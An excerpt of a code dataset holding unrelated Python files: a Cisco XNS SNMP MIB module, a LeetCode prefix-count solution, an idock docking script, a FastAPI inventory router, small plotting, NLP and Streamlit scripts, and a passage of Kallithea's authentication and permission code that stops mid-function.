xnsLocal.setDescription('Total count of XNS input packets for this host.')\nxnsBcastin = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 3), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsBcastin.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsBcastin.setDescription('Total count of number of XNS input broadcast packets.')\nxnsForward = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 4), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsForward.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsForward.setDescription('Total count of number of XNS packets forwarded.')\nxnsBcastout = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 5), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsBcastout.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsBcastout.setDescription('Total count of number of XNS output broadcast packets.')\nxnsErrin = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 6), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsErrin.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsErrin.setDescription('Total count of number of XNS Error input packets.')\nxnsErrout = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 7), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsErrout.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsErrout.setDescription('Total count of number of XNS Error output packets.')\nxnsFormerr = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 8), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsFormerr.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsFormerr.setDescription('Total count of number of XNS input packets with header errors.')\nxnsChksum = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 9), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsChksum.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsChksum.setDescription('Total count of number of XNS input packets with checksum errors.')\nxnsNotgate = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 10), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsNotgate.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsNotgate.setDescription('Total count of number of XNS input packets received while not routing.')\nxnsHopcnt = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 11), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsHopcnt.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsHopcnt.setDescription('Total count of number of XNS input packets that have exceeded the maximum hop count.')\nxnsNoroute = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 12), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsNoroute.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsNoroute.setDescription('Total count of number of XNS packets dropped due to no route.')\nxnsNoencap = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 13), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsNoencap.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsNoencap.setDescription('Total count of number of XNS packets dropped due to output encapsulation failure.')\nxnsOutput = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 14), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsOutput.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsOutput.setDescription('Total count of number of XNS output packets.')\nxnsInmult = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 15), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsInmult.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsInmult.setDescription('Total count of number of XNS input multicast packets.')\nxnsUnknown = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 16), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsUnknown.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsUnknown.setDescription('Total count of number of unknown XNS input packets.')\nxnsFwdbrd = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 17), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsFwdbrd.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsFwdbrd.setDescription('Total count of number of XNS broadcast packets forwarded.')\nxnsEchoreqin = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 18), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsEchoreqin.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsEchoreqin.setDescription('Total count of number of XNS Echo request packets received.')\nxnsEchoreqout = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 19), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsEchoreqout.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsEchoreqout.setDescription('Total count of number of XNS Echo request packets sent.')\nxnsEchorepin = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 20), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsEchorepin.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsEchorepin.setDescription('Total count of number of XNS Echo reply packets received.')\nxnsEchorepout = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 21), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsEchorepout.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsEchorepout.setDescription('Total count of number of XNS Echo reply packets sent.')\nmibBuilder.exportSymbols(\"OLD-CISCO-XNS-MIB\", xnsInput=xnsInput, xnsEchorepin=xnsEchorepin, xnsEchorepout=xnsEchorepout, xnsNoencap=xnsNoencap, xnsLocal=xnsLocal, xnsNotgate=xnsNotgate, xnsChksum=xnsChksum, xnsEchoreqin=xnsEchoreqin, xnsEchoreqout=xnsEchoreqout, xnsFormerr=xnsFormerr, xnsFwdbrd=xnsFwdbrd, xnsHopcnt=xnsHopcnt, xnsBcastout=xnsBcastout, xnsInmult=xnsInmult, tmpxns=tmpxns, xnsOutput=xnsOutput, xnsErrin=xnsErrin, xnsErrout=xnsErrout, xnsNoroute=xnsNoroute, xnsUnknown=xnsUnknown, xnsBcastin=xnsBcastin, xnsForward=xnsForward)\n","repo_name":"cisco-kusanagi/mibs.snmplabs.com","sub_path":"pysnmp-with-texts/OLD-CISCO-XNS-MIB.py","file_name":"OLD-CISCO-XNS-MIB.py","file_ext":"py","file_size_in_byte":7728,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"35"}
{"seq_id":"38426432911","text":"\"\"\"\nhttps://leetcode-cn.com/problems/counting-words-with-a-given-prefix/\n\n给你一个字符串数组 words 和一个字符串 pref 。\n\n返回 words 中以 pref 作为 前缀 的字符串的数目。\n\n字符串 s 的 前缀 就是  s 的任一前导连续字符串。\n\n示例 1：\n    输入：words = [\"pay\",\"attention\",\"practice\",\"attend\"], pref = \"at\"\n    输出：2\n    解释：以 \"at\" 作为前缀的字符串有两个，分别是：\"attention\" 和 \"attend\" 。\n\n示例 2：\n    输入：words = [\"leetcode\",\"win\",\"loops\",\"success\"], pref = \"code\"\n    输出：0\n    解释：不存在以 \"code\" 作为前缀的字符串。\n\n提示：\n    1 <= words.length <= 100\n    1 <= words[i].length, pref.length <= 100\n    words[i] 和 pref 由小写英文字母组成\n\n\"\"\"\nfrom typing import List\n\n\"\"\" startswith 函数 \"\"\"\nclass Solution:\n    def prefixCount(self, words: List[str], pref: str) -> int:\n        cnt = 0\n        for i in range(len(words)):\n            if (words[i].startswith(pref)) == True:\n                cnt += 1\n        return cnt\n\n\"\"\" startswith 函数 \"\"\"\nclass Solution:\n    def prefixCount(self, words: List[str], pref: str) -> int:\n        return len([word for word in words if word.startswith(pref)])\n\n\"\"\" 遍历前缀 \"\"\"\nclass Solution:\n    def prefixCount(self, words: List[str], pref: str) -> int:\n        cnt = 0\n        for word in words:                  # 遍历words中每个单词\n            for i in range(0, len(word)+1): # 每个单词中下标0到i\n                # print(word[0:i])\n                if word[0:i] == pref:       # 只要搜索到前缀与pref相同，就可以加一，并返回搜索下个单词。\n                    cnt += 1\n        return cnt\n\nif __name__ == \"__main__\":\n    words = [\"pay\",\"attention\",\"practice\",\"attend\"]\n    pref = \"at\"\n    sol = Solution()\n    result = sol.prefixCount(words, pref)\n    print (result)\n","repo_name":"jasonmayday/LeetCode","sub_path":"leetcode_algorithm/1_easy/2185_统计包含给定前缀的字符串.py","file_name":"2185_统计包含给定前缀的字符串.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"18046895948","text":"import os\nimport pandas as pd\nfrom subprocess import PIPE, run\n\n# returns a single docking position for a single conformation\ndef dock_single_conformation(path, file_name):\n    path_to_idock = \"path/to/idock-2.2.3/bin/idock\" # specify path to idock\n    \n    name = file_name[:-6]\n    \n    # dock the molecule\n    command = [path_to_idock, \"--receptor\", \"d3.pdbqt\",\n               \"--ligand\", f\"{path}{file_name}\",\n               \"--center_x\", \"4.71443478\",\n               \"--center_y\", \"13.39904348\",\n               \"--center_z\", \"-9.40869565\",\n               \"--size_x\", \"20\", \"--size_y\", \"20\", \"--size_z\", \"20\",\n               \"--out\", f\"./docking_idock_results/{name}_out\"]\n\n    result = run(command, stdout=PIPE, stderr=PIPE, universal_newlines=True)\n    output = result.stdout.split(\"\\n\")\n    \n    # parse output\n    try:\n        score = float(output[-2].split()[3])\n        rf_score = float(output[-2].split()[4])\n    except:\n        score, rf_score = 0, 0\n        print(f'Problems with docking molecule {name}')\n    \n    return score, rf_score\n\n\nif __name__ == \"__main__\":\n    compound_dir = os.fsencode('./molecules/pdbqt')\n    docking_data = [] # list to save docking data\n    \n    # create dirs for docking outputs\n    os.makedirs('./docking_idock_results', exist_ok=True)\n\n    for file in os.listdir(compound_dir):\n        # get name of the file\n        filename = os.fsdecode(file)\n        \n        tags = filename.split('_') # get molecule id, isomer, and conf id\n        ident, isomer, conf = tags[0], tags[1], tags[2][:1]\n        \n        idock_score, rf_idock_score = dock_single_conformation('./molecules/pdbqt/', filename)\n        docking_data.append([ident, isomer, conf, idock_score, rf_idock_score])\n        \n    df = pd.DataFrame(docking_data, columns =['id', 'isomer', 'conf_id', 'idock_score', 'rf_score'])\n    df.to_csv('idock_data.csv')\n","repo_name":"virtualscreenlab/D3R-ligands-virtual-screening","sub_path":"docking/run_idock.py","file_name":"run_idock.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"36813920360","text":"from typing import Annotated, List\r\nfrom fastapi import Depends, HTTPException, APIRouter, Path, Query\r\nfrom fastapi.encoders import jsonable_encoder\r\nfrom fastapi.responses import JSONResponse\r\nfrom sqlalchemy.orm import Session\r\nfrom config.database import get_db\r\n\r\n# Lib\r\nfrom lib import auth_service2, http\r\n# Model\r\nfrom model.modules.employee.product_models import EmployeeProductPaginateResponseModel, AuthUserProductModel, AuthUserTransferProductModel\r\n# Repo\r\nfrom repository.employee.product_repository import EmployeeProductRepository\r\nfrom repository.action.repository import ActionRepository\r\nfrom repository.product.repository import AuthUserProductRepository\r\n# Schema\r\nfrom schema.auth_module import AuthUser\r\nfrom schema.action_module import Action\r\nfrom schema.product_module import AuthUserProduct\r\n\r\n\r\nrouter = APIRouter(\r\n    prefix=\"/employee\",\r\n    tags=[\"Employee\"],\r\n    # dependencies=[Depends(get_token_header)],\r\n    responses={404: {\"description\": \"Not found auth\"}},\r\n)\r\n\r\n\r\ndef indexProductAll(\r\n    accessUser: Annotated[AuthUser, Depends(auth_service2.getAccessUser)],\r\n    id: int = Path(..., title=\"AuthUser ID\"),\r\n    filterModel: EmployeeProductPaginateResponseModel = None,\r\n    db: Session = Depends(get_db)\r\n):\r\n    employeeProduct_repo = EmployeeProductRepository(db)\r\n    employeeProducts = employeeProduct_repo.findProducts(model=filterModel, id=id)\r\n    if not employeeProducts:\r\n        raise HTTPException(status_code=404, detail=\"AuthUser not found\")\r\n    \r\n    return http.successResponse(data = employeeProducts)\r\n\r\n\r\n@router.get('/{id}/product', response_model=List[AuthUserProductModel],  name=\"admn_auth_user_product_index\")\r\ndef getProductAll(\r\n    accessUser: Annotated[AuthUser, Depends(auth_service2.getAccessUser)],\r\n    id: int = Path(..., title=\"AuthUser ID\"),\r\n    filterModel: EmployeeProductPaginateResponseModel = None,\r\n    db: Session = Depends(get_db)\r\n):\r\n    return indexProductAll(accessUser=accessUser, filterModel=filterModel, id=id, db=db)\r\n\r\n# , response_model=List[AuthUserProductModel]\r\n@router.post(\"/{id}/product\", name = \"admn_auth_user_product_index\")\r\ndef postProductIndex(\r\n    accessUser: Annotated[AuthUser, Depends(auth_service2.getAccessUser)],\r\n    filterModel: EmployeeProductPaginateResponseModel,\r\n    id: int = Path(..., title=\"AuthUser ID\"),\r\n    db: Session = Depends(get_db)\r\n):\r\n    return indexProductAll(accessUser=accessUser, filterModel=filterModel, id=id, db=db)\r\n\r\n\r\n@router.post(\"/transfer\", name=\"admn_auth_user_product_transfer\")\r\ndef postTransferProduct(\r\n    accessUser: Annotated[AuthUser, Depends(auth_service2.getAccessUser)],\r\n    transferModel: AuthUserTransferProductModel,\r\n    db: Session = Depends(get_db)\r\n):\r\n    action_repo = ActionRepository(db)\r\n    authUserProduct_repo = AuthUserProductRepository(db)\r\n    \r\n    authUserProduct = authUserProduct_repo.findAuthUserProduct(transferModel.authUserProduct.productId, transferModel.authUserId)\r\n    \r\n    authUserProduct.unit -= transferModel.transferUnit\r\n    \r\n    createModel = {\r\n        \"actionStatusId\": transferModel.actionStatusId,\r\n        \"authUserId\": transferModel.authUserId,\r\n        \"unit\": transferModel.transferUnit,\r\n        \"productId\": transferModel.authUserProduct.productId,\r\n        \"description\": transferModel.description\r\n    }\r\n    \r\n    createModel = Action(**createModel)\r\n    \r\n    db.add(createModel)\r\n    db.commit()\r\n    db.refresh(createModel)\r\n    db.refresh(authUserProduct)\r\n    \r\n    jsonResult = jsonable_encoder(createModel)\r\n    return JSONResponse(jsonResult)","repo_name":"Bilguun2432/inventory-system-back","sub_path":"apps/admn/router/employee.py","file_name":"employee.py","file_ext":"py","file_size_in_byte":3567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20651246470","text":"#! /usr/bin/env python3\n\nimport matplotlib.pyplot as plt; plt.rcdefaults()\nimport numpy as np\nimport sys\n\n# C sytle commandline argument\nargc=len(sys.argv)-1\nargv=sys.argv\n\nif argc<1 or argc>3:\n    print(\"Usage: plot_mst.py [node_fname] [edge_fname = \\\"\\\"]\")\n    print(\"argc = \", argc)\n    exit(1)\n\n# Raw nodes\nnode_list = np.genfromtxt(argv[1], skip_header=1)\nx = node_list[:,0]\ny = node_list[:,1]\nplt.plot(x,y,'ro')\nplt.margins(0.2)\n\n# Edges, if any\nif argc == 2:\n    edge_list = np.genfromtxt(argv[2])\n    for e in edge_list:\n        x1 = node_list[e[0]][0]\n        y1 = node_list[e[0]][1]\n        x2 = node_list[e[1]][0]\n        y2 = node_list[e[1]][1]\n        # [x1, x2] [y1, y2]\n        plt.plot([x1, x2], [y1, y2], color='k', lw=2)\n\nplt.show()\n","repo_name":"qzmfranklin/zmake","sub_path":"demo/algorithm/comp_geo/mst/plot_mst.py","file_name":"plot_mst.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"33651023740","text":"import sys\n\n\nclass Morph:\n    def __init__(self, dc):\n        self.surface = dc['surface']\n        self.base = dc['base']\n        self.pos = dc['pos']\n        self.pos1 = dc['pos1']\n\n\ndef load_cabocha_file(fn):\n    result = []\n    with open(fn) as cf:\n        tmp = []\n        sentenceL = cf.readlines()\n        for s in sentenceL:\n            if s == 'EOS\\n':\n                if tmp != []:\n                    result.append(tmp)\n                    tmp = []\n            elif s[0] != '*':\n                s = s.replace('\\t', ',')\n                s = s.split(',')\n                tmp.append({'surface': s[0], 'base': s[7], 'pos': s[1], 'pos1': s[2]})\n    return result\n\n\nif __name__ == '__main__':\n    fn = sys.argv[1]\n    target = load_cabocha_file(fn)\n\n    result = []\n    for t in target:\n        tmp = []\n        for tt in t:\n            tmp.append(Morph(tt))\n        result.append(tmp)\n\n    print([r.__dict__ for r in result[2]])\n","repo_name":"karas1910/NLP100","sub_path":"5_Chapter/n40.py","file_name":"n40.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40561935023","text":"import streamlit as st\nimport pandas as pd\nfrom functions import *\nfrom display import *\n\n\ndef delete():\n    # choose a table to delete from\n    selected_table = st.selectbox(\"Select a table to delete data from: \", [\n                                  \"stadium\", \"matches\", \"users\", \"food\", \"seat_matrix\", \"ticket\"])\n    st.subheader(\"Current data in {} table\".format(selected_table))\n    # show table here\n    item_id = [i[0] for i in get_id(selected_table)]\n    selected_row = st.selectbox(\"Select the row to delete\", item_id)\n    st.warning(\"Do you want to delete item {}?\".format(selected_row))\n    if st.button(\"Delete chosen row\"):\n        delete_item(selected_row, selected_table)\n        st.success(\"Item {} deleted successfully\".format(selected_row))\n        st.write(\"Go to display menu to see the current data after deletion\")\n","repo_name":"KeerthanaShivakumar/Stadium-Ticket-Booking-System","sub_path":"delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"126137470","text":"from __future__ import with_statement\nimport time\nimport random\nimport logging\nimport traceback\nimport hashlib\nimport itertools\nimport collections\n\nfrom tempfile import _RandomNameSequence\nfrom decorator import decorator\n\nfrom pylons import url, request\nfrom pylons.controllers.util import abort, redirect\nfrom pylons.i18n.translation import _\nfrom sqlalchemy import or_\nfrom sqlalchemy.orm.exc import ObjectDeletedError\nfrom sqlalchemy.orm import joinedload\n\nfrom kallithea import __platform__, is_windows, is_unix\nfrom kallithea.lib.vcs.utils.lazy import LazyProperty\nfrom kallithea.model import meta\nfrom kallithea.model.meta import Session\nfrom kallithea.model.user import UserModel\nfrom kallithea.model.db import User, Repository, Permission, \\\n    UserToPerm, UserGroupRepoToPerm, UserGroupToPerm, UserGroupMember, \\\n    RepoGroup, UserGroupRepoGroupToPerm, UserIpMap, UserGroupUserGroupToPerm, \\\n    UserGroup, UserApiKeys\n\nfrom kallithea.lib.utils2 import safe_unicode, aslist\nfrom kallithea.lib.utils import get_repo_slug, get_repo_group_slug, \\\n    get_user_group_slug, conditional_cache\nfrom kallithea.lib.caching_query import FromCache\n\n\nlog = logging.getLogger(__name__)\n\n\nclass PasswordGenerator(object):\n    \"\"\"\n    This is a simple class for generating password from different sets of\n    characters\n    usage::\n\n        passwd_gen = PasswordGenerator()\n        #print 8-letter password containing only big and small letters\n            of alphabet\n        passwd_gen.gen_password(8, passwd_gen.ALPHABETS_BIG_SMALL)\n    \"\"\"\n    ALPHABETS_NUM = r'''1234567890'''\n    ALPHABETS_SMALL = r'''qwertyuiopasdfghjklzxcvbnm'''\n    ALPHABETS_BIG = r'''QWERTYUIOPASDFGHJKLZXCVBNM'''\n    ALPHABETS_SPECIAL = r'''`-=[]\\;',./~!@#$%^&*()_+{}|:\"<>?'''\n    ALPHABETS_FULL = ALPHABETS_BIG + ALPHABETS_SMALL \\\n        + ALPHABETS_NUM + ALPHABETS_SPECIAL\n    ALPHABETS_ALPHANUM = ALPHABETS_BIG + ALPHABETS_SMALL + ALPHABETS_NUM\n    ALPHABETS_BIG_SMALL = ALPHABETS_BIG + ALPHABETS_SMALL\n    ALPHABETS_ALPHANUM_BIG = ALPHABETS_BIG + ALPHABETS_NUM\n    ALPHABETS_ALPHANUM_SMALL = ALPHABETS_SMALL + ALPHABETS_NUM\n\n    def __init__(self, passwd=''):\n        self.passwd = passwd\n\n    def gen_password(self, length, type_=None):\n        if type_ is None:\n            type_ = self.ALPHABETS_FULL\n        self.passwd = ''.join([random.choice(type_) for _ in xrange(length)])\n        return self.passwd\n\n\nclass KallitheaCrypto(object):\n\n    @classmethod\n    def hash_string(cls, str_):\n        \"\"\"\n        Cryptographic function used for password hashing based on pybcrypt\n        or pycrypto in windows\n\n        :param password: password to hash\n        \"\"\"\n        if is_windows:\n            from hashlib import sha256\n            return sha256(str_).hexdigest()\n        elif is_unix:\n            import bcrypt\n            return bcrypt.hashpw(str_, bcrypt.gensalt(10))\n        else:\n            raise Exception('Unknown or unsupported platform %s' \\\n                            % __platform__)\n\n    @classmethod\n    def hash_check(cls, password, hashed):\n        \"\"\"\n        Checks matching password with it's hashed value, runs different\n        implementation based on platform it runs on\n\n        :param password: password\n        :param hashed: password in hashed form\n        \"\"\"\n\n        if is_windows:\n            from hashlib import sha256\n            return sha256(password).hexdigest() == hashed\n        elif is_unix:\n            import bcrypt\n            return bcrypt.hashpw(password, hashed) == hashed\n        else:\n            raise Exception('Unknown or unsupported platform %s' \\\n                            % __platform__)\n\n\ndef get_crypt_password(password):\n    return KallitheaCrypto.hash_string(password)\n\n\ndef check_password(password, hashed):\n    return KallitheaCrypto.hash_check(password, hashed)\n\n\ndef generate_api_key(str_, salt=None):\n    \"\"\"\n    Generates API KEY from given string\n\n    :param str_:\n    :param salt:\n    \"\"\"\n\n    if salt is None:\n        salt = _RandomNameSequence().next()\n\n    return hashlib.sha1(str_ + salt).hexdigest()\n\n\nclass CookieStoreWrapper(object):\n\n    def __init__(self, cookie_store):\n        self.cookie_store = cookie_store\n\n    def __repr__(self):\n        return 'CookieStore<%s>' % (self.cookie_store)\n\n    def get(self, key, other=None):\n        if isinstance(self.cookie_store, dict):\n            return self.cookie_store.get(key, other)\n        elif isinstance(self.cookie_store, AuthUser):\n            return self.cookie_store.__dict__.get(key, other)\n\n\n\ndef _cached_perms_data(user_id, user_is_admin, user_inherit_default_permissions,\n                       explicit, algo):\n    RK = 'repositories'\n    GK = 'repositories_groups'\n    UK = 'user_groups'\n    GLOBAL = 'global'\n    PERM_WEIGHTS = Permission.PERM_WEIGHTS\n    permissions = {RK: {}, GK: {}, UK: {}, GLOBAL: set()}\n\n    def _choose_perm(new_perm, cur_perm):\n        new_perm_val = PERM_WEIGHTS[new_perm]\n        cur_perm_val = PERM_WEIGHTS[cur_perm]\n        if algo == 'higherwin':\n            if new_perm_val > cur_perm_val:\n                return new_perm\n            return cur_perm\n        elif algo == 'lowerwin':\n            if new_perm_val < cur_perm_val:\n                return new_perm\n            return cur_perm\n\n    #======================================================================\n    # fetch default permissions\n    #======================================================================\n    default_user = User.get_by_username('default', cache=True)\n    default_user_id = default_user.user_id\n\n    default_repo_perms = Permission.get_default_perms(default_user_id)\n    default_repo_groups_perms = Permission.get_default_group_perms(default_user_id)\n    default_user_group_perms = Permission.get_default_user_group_perms(default_user_id)\n\n    if user_is_admin:\n        #==================================================================\n        # admin user have all default rights for repositories\n        # and groups set to admin\n        #==================================================================\n        permissions[GLOBAL].add('hg.admin')\n        permissions[GLOBAL].add('hg.create.write_on_repogroup.true')\n\n        # repositories\n        for perm in default_repo_perms:\n            r_k = perm.UserRepoToPerm.repository.repo_name\n            p = 'repository.admin'\n            permissions[RK][r_k] = p\n\n        # repository groups\n        for perm in default_repo_groups_perms:\n            rg_k = perm.UserRepoGroupToPerm.group.group_name\n            p = 'group.admin'\n            permissions[GK][rg_k] = p\n\n        # user groups\n        for perm in default_user_group_perms:\n            u_k = perm.UserUserGroupToPerm.user_group.users_group_name\n            p = 'usergroup.admin'\n            permissions[UK][u_k] = p\n        return permissions\n\n    #==================================================================\n    # SET DEFAULTS GLOBAL, REPOS, REPOSITORY GROUPS\n    #==================================================================\n    uid = user_id\n\n    # default global permissions taken from the default user\n    default_global_perms = UserToPerm.query()\\\n        .filter(UserToPerm.user_id == default_user_id)\\\n        .options(joinedload(UserToPerm.permission))\n\n    for perm in default_global_perms:\n        permissions[GLOBAL].add(perm.permission.permission_name)\n\n    # defaults for repositories, taken from default user\n    for perm in default_repo_perms:\n        r_k = perm.UserRepoToPerm.repository.repo_name\n        if perm.Repository.private and not (perm.Repository.user_id == uid):\n            # disable defaults for private repos,\n            p = 'repository.none'\n        elif perm.Repository.user_id == uid:\n            # set admin if owner\n            p = 'repository.admin'\n        else:\n            p = perm.Permission.permission_name\n\n        permissions[RK][r_k] = p\n\n    # defaults for repository groups taken from default user permission\n    # on given group\n    for perm in default_repo_groups_perms:\n        rg_k = perm.UserRepoGroupToPerm.group.group_name\n        p = perm.Permission.permission_name\n        permissions[GK][rg_k] = p\n\n    # defaults for user groups taken from default user permission\n    # on given user group\n    for perm in default_user_group_perms:\n        u_k = perm.UserUserGroupToPerm.user_group.users_group_name\n        p = perm.Permission.permission_name\n        permissions[UK][u_k] = p\n\n    #======================================================================\n    # !! OVERRIDE GLOBALS !! with user permissions if any found\n    #======================================================================\n    # those can be configured from groups or users explicitly\n    _configurable = set([\n        'hg.fork.none', 'hg.fork.repository',\n        'hg.create.none', 'hg.create.repository',\n        'hg.usergroup.create.false', 'hg.usergroup.create.true'\n    ])\n\n    # USER GROUPS comes first\n    # user group global permissions\n    user_perms_from_users_groups = Session().query(UserGroupToPerm)\\\n        .options(joinedload(UserGroupToPerm.permission))\\\n        .join((UserGroupMember, UserGroupToPerm.users_group_id ==\n               UserGroupMember.users_group_id))\\\n        .filter(UserGroupMember.user_id == uid)\\\n        .order_by(UserGroupToPerm.users_group_id)\\\n        .all()\n    # need to group here by groups since user can be in more than\n    # one group\n    _grouped = [[x, list(y)] for x, y in\n                itertools.groupby(user_perms_from_users_groups,\n                                  lambda x:x.users_group)]\n    for gr, perms in _grouped:\n        # since user can be in multiple groups iterate over them and\n        # select the lowest permissions first (more explicit)\n        ##TODO: do this^^\n        if not gr.inherit_default_permissions:\n            # NEED TO IGNORE all configurable permissions and\n            # replace them with explicitly set\n            permissions[GLOBAL] = permissions[GLOBAL]\\\n                                            .difference(_configurable)\n        for perm in perms:\n            permissions[GLOBAL].add(perm.permission.permission_name)\n\n    # user specific global permissions\n    user_perms = Session().query(UserToPerm)\\\n            .options(joinedload(UserToPerm.permission))\\\n            .filter(UserToPerm.user_id == uid).all()\n\n    if not user_inherit_default_permissions:\n        # NEED TO IGNORE all configurable permissions and\n        # replace them with explicitly set\n        permissions[GLOBAL] = permissions[GLOBAL]\\\n                                        .difference(_configurable)\n\n        for perm in user_perms:\n            permissions[GLOBAL].add(perm.permission.permission_name)\n    ## END GLOBAL PERMISSIONS\n\n    #======================================================================\n    # !! PERMISSIONS FOR REPOSITORIES !!\n    #======================================================================\n    #======================================================================\n    # check if user is part of user groups for this repository and\n    # fill in his permission from it. _choose_perm decides of which\n    # permission should be selected based on selected method\n    #======================================================================\n\n    # user group for repositories permissions\n    user_repo_perms_from_users_groups = \\\n     Session().query(UserGroupRepoToPerm, Permission, Repository,)\\\n        .join((Repository, UserGroupRepoToPerm.repository_id ==\n               Repository.repo_id))\\\n        .join((Permission, UserGroupRepoToPerm.permission_id ==\n               Permission.permission_id))\\\n        .join((UserGroupMember, UserGroupRepoToPerm.users_group_id ==\n               UserGroupMember.users_group_id))\\\n        .filter(UserGroupMember.user_id == uid)\\\n        .all()\n\n    multiple_counter = collections.defaultdict(int)\n    for perm in user_repo_perms_from_users_groups:\n        r_k = perm.UserGroupRepoToPerm.repository.repo_name\n        multiple_counter[r_k] += 1\n        p = perm.Permission.permission_name\n        cur_perm = permissions[RK][r_k]\n\n        if perm.Repository.user_id == uid:\n            # set admin if owner\n            p = 'repository.admin'\n        else:\n            if multiple_counter[r_k] > 1:\n                p = _choose_perm(p, cur_perm)\n        permissions[RK][r_k] = p\n\n    # user explicit permissions for repositories, overrides any specified\n    # by the group permission\n    user_repo_perms = Permission.get_default_perms(uid)\n    for perm in user_repo_perms:\n        r_k = perm.UserRepoToPerm.repository.repo_name\n        cur_perm = permissions[RK][r_k]\n        # set admin if owner\n        if perm.Repository.user_id == uid:\n            p = 'repository.admin'\n        else:\n            p = perm.Permission.permission_name\n            if not explicit:\n                p = _choose_perm(p, cur_perm)\n        permissions[RK][r_k] = p\n\n    #======================================================================\n    # !! PERMISSIONS FOR REPOSITORY GROUPS !!\n    #======================================================================\n    #======================================================================\n    # check if user is part of user groups for this repository groups and\n    # fill in his permission from it. _choose_perm decides of which\n    # permission should be selected based on selected method\n    #======================================================================\n    # user group for repo groups permissions\n    user_repo_group_perms_from_users_groups = \\\n     Session().query(UserGroupRepoGroupToPerm, Permission, RepoGroup)\\\n     .join((RepoGroup, UserGroupRepoGroupToPerm.group_id == RepoGroup.group_id))\\\n     .join((Permission, UserGroupRepoGroupToPerm.permission_id\n            == Permission.permission_id))\\\n     .join((UserGroupMember, UserGroupRepoGroupToPerm.users_group_id\n            == UserGroupMember.users_group_id))\\\n     .filter(UserGroupMember.user_id == uid)\\\n     .all()\n\n    multiple_counter = collections.defaultdict(int)\n    for perm in user_repo_group_perms_from_users_groups:\n        g_k = perm.UserGroupRepoGroupToPerm.group.group_name\n        multiple_counter[g_k] += 1\n        p = perm.Permission.permission_name\n        cur_perm = permissions[GK][g_k]\n        if multiple_counter[g_k] > 1:\n            p = _choose_perm(p, cur_perm)\n        permissions[GK][g_k] = p\n\n    # user explicit permissions for repository groups\n    user_repo_groups_perms = Permission.get_default_group_perms(uid)\n    for perm in user_repo_groups_perms:\n        rg_k = perm.UserRepoGroupToPerm.group.group_name\n        p = perm.Permission.permission_name\n        cur_perm = 